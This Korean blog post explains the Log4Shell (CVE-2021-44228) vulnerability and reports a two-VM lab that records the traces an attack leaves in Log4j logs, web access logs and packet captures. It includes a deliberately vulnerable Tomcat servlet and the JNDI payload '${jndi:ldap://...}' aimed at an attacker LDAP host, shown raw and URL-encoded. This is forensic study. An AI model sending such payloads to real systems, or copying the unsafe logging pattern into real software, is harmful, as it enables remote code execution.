geunyeong 2021. 12. 17. 00:45

Table of Contents

    Abstract

    최근 가장 큰 이슈인 Log4Shell에 대해 간략하게 알아보고, 서비스 중인 시스템에 Log4Shell에 대한 공격이 들어올 경우 남는 로그나 흔적에 대해 알아본다. 하지만 악성 자바 객체 파일을 실행하는 데엔 실패해 조금 아쉬운 결과를 냈다.

    Log4Shell

    Log4j

    Log4j는 손쉽게 로그를 관리하고 남길 수 있도록 자바에서 사용하는 오픈 소스 로깅 프레임워크다. 자바 자체도 많이 쓰였고, 많이 쓰이고 있는데, 많이 쓰이는 자바 로깅 라이브러리가 Log4j다 보니 많은 자바 어플리케이션이 Log4Shell에 취약했다.  대표적으로 마인크래프트나 애플, 스팀, 트위터, 바이두, 클라우드 플레어, 아마존, 테슬라, 구글 등이 제공하는 서비스들도 이런 취약점을 가지고 있었다고 한다.

    Log4j 취약점과 관련된 모든 소프트웨어는 NCSC-NL 깃허브에 리스트로 관리되고 있다.

    https://github.com/NCSC-NL/log4shell/blob/main/software/README.md

    기존엔 2.15보다 낮은 버전은 모두 취약하다고 알려졌으나 얼마 지나지 않아 2.15에서도 취약점이 발견되어 2.16으로 다시 한번 업데이트를 권고하는 글들이 쏟아졌다. 구버전인 1.x는 해당사항이 없다고 했으나 이 역시 얼마 안가 (어렵긴 하지만) 취약점이 발견됐다.

    Log4Shell(CVE-2021-44228)

    Log4Shell은 Log4j의 로깅 API에 JNDI 요청 구문을 삽입시킴으로써 자바 어플리케이션을 실행중인 시스템에 임의 명령을 실행시키는 임의 코드 실행 취약점이다.

    Log4j의 로깅 함수에 JNDI 구문이 들어가면 Log4j가 이를 분석해 해당 디렉토리 서비스에 접근하게 된다. 이 때 공격자의 악성 자바 객체를 반환하면 Log4j는 객체 파일을 가져와 실행하게 되는데, 이를 통해 원격에서 임의 코드가 실행이 가능하게 된다. Log4j는 아래 형태의 식을 해석하게 된다.

    ${prefix:name}

    예를 들어 ${java:version} 이라는 내용이 Log4j의 로깅 함수에 전달되면 Log4j는 이를 Java version 1.7.0_67로 치환하여 로깅한다. Log4Shell은 prefix 위치에 jndi를 집어 넣고 그 뒤로 LDAP URL을 집어 넣음으로써 Log4j가 원격 LDAP 서버에 자바 객체 데이터를 Lookup하도록 유도하고, 공격자는 해당 Lookup 요청에 악성 코드를 실행하는 자바 객체(.class) 데이터를 반환하는 원리이다. 

    ${jndi:ldap://<Attacker's server address>/<Resource name>}

    JNDI(Java Naming and Directory Interface)

    JNDI는 디렉토리 서비스에 접근하는 데 필요한 API다. 어플리케이션은 JNDI API를 호출해 리소스나 다른 오브젝트를 찾을 수 있다. JNDI API를 통해 서비스에 접근하기 위해서는 JNDI 이름을 사용해야 한다. JNDI를 이용하면 LDAP 서버에 위차한 일반 자바 객체를 가져올 수도 있다. LDAP 외에도 DNS, NIS 등 다양한 종류의 네이밍 및 디렉토리 서비스를 지원한다.

    Artifacts

    Environment

    Hyper-V에 2개의 가상머신을 올린 후 하나는 공격자, 하나는 피해자로 역할을 나눴다. 피해자는 Tomcat 9을 설치해 Java Web Application을 서비스하도록 구성하고, Log4j 2.10.0 버전을 사용해 GET 메소드로 넘어오는 argv 파라메터 내용을 log4jvuln.log 파일에 기록하도록 설정했다. 공격자엔 별도의 LDAP 서버를 구축하진 않고 돌아다니는 여러 POC 중 LDAP 흉내를 내는 코드를 찾아 실행했다.

    Log4Shell 시나리오 개요도

    톰캣에 올린 Log4j vulnerable code는 아래와 같다(필요한 코드만 가져왔다).

    import org.apache.logging.log4j.Logger;
    import org.apache.logging.log4j.LogManager;
    
    @WebServlet("/Log4Shell")
    public class Log4Shell extends HttpServlet {
        private final Logger log = LogManager.getLogger("Log4ShellLogger");
        
        public Log4Shell() 
        {
            super();
        }
    
        protected void doGet(HttpServletRequest request, HttpServletResponse response) 
        {
            String argv = request.getParameter("argv");
            if(argv != null) {
                log.error("argv = " + argv);
            }
        }
    }

    Log4j Log

    먼저 Log4j의 로그 형태를 살펴보자. 출력하고자 했던 로그의 포맷 그대로 JNDI 구문이 나타났으며, 별다른 Bypass 기법을 사용하지 않았기 때문에 온전한 Log4Shell 익스플로잇 구문이 나타났다. 

    2021-12-16 23:14:52,333 ERROR [Log4ShellLogger] argv = ${jndi:ldap://172.31.28.16/z}

    Log4j의 Log4Shell 익스플로잇 구문 로그 형태

    Web Log

    다음은 웹 액세스 로그의 형태를 살펴보자. 본 실험에서는 공격자의 시스템에서 웹 브라우저를 사용해 GET 메소드의 파라메터로 JNDI 구문을 입력했기 때문에 JNDI 구문이 찍힌 액세스 로그가 발생했다. 웹 브라우저 주소창으로 입력했던 지라 $나 {, }같은 특수문자를 사용할 수 없어 %24와 같은 헥스 값으로 입력했더니 액세스 로그에서도 %24로 남았다.

    wget이나 curl 같은 도구를 사용하면 이러한 특수문자도 그대로 입력할 수 있을 테지만 액세스 로그로 Log4Shell 흔적을 찾는다면 이러한 로그가 남을 가능성도 염두해볼법 하다.

    172.31.28.16 - - [16/Dec/2021:23:14:52 +0900] "GET /Log4Shell/Log4Shell?argv=%24%7bjndi:ldap://172.31.28.16/z%7d HTTP/1.1" 200 21

    Network Log

    방화벽 장비 등에서 확인 가능한 내용이다. 본 실험에서는 피해 시스템에서 Wireshark를 실행하고 공격자와의 네트워크 통신 내역을 모니터링했다. 그 결과 공격자가 보낸 Log4Shell 익스플로잇 코드가 담긴 요청 패킷이 잡힌 후 곧이어 공격자의 LDAP 서버로 세션을 맺고(붉은색 박스), z라는 이름의 오브젝트에 대한 Search Request를 날리는 걸 볼 수 있었다(푸른색 박스). 그리고 LDAP 요청이 완료되자마자 공격자에게 HTTP 응답 메시지를 보내는 모습도 확인할 수 있었다(황색 박스).

    Close

    이상으로 Log4Shell 공격이 들어왔을 때 남을 수 있는 기본적이 로그나 흔적에 대해 알아봤다. 이 외에도 시스템에 설치된 AV 프로그램이나 EDR 등 다양한 프로그램의 로그도 추가로 확인할 필요가 있다.

    아쉬운 점은 실제 악성 자바 객체 파일을 실행시키는 데는 실패해 악성 자바 객체 파일이 디스크에 잔재하는지 여부를 확인하지 못했다는 점이다. 또한 어찌보면 당연한 로그나 흔적을 제외하곤 유의미한 로그를 찾지 못했다는 것도 아쉬움으로 남는다.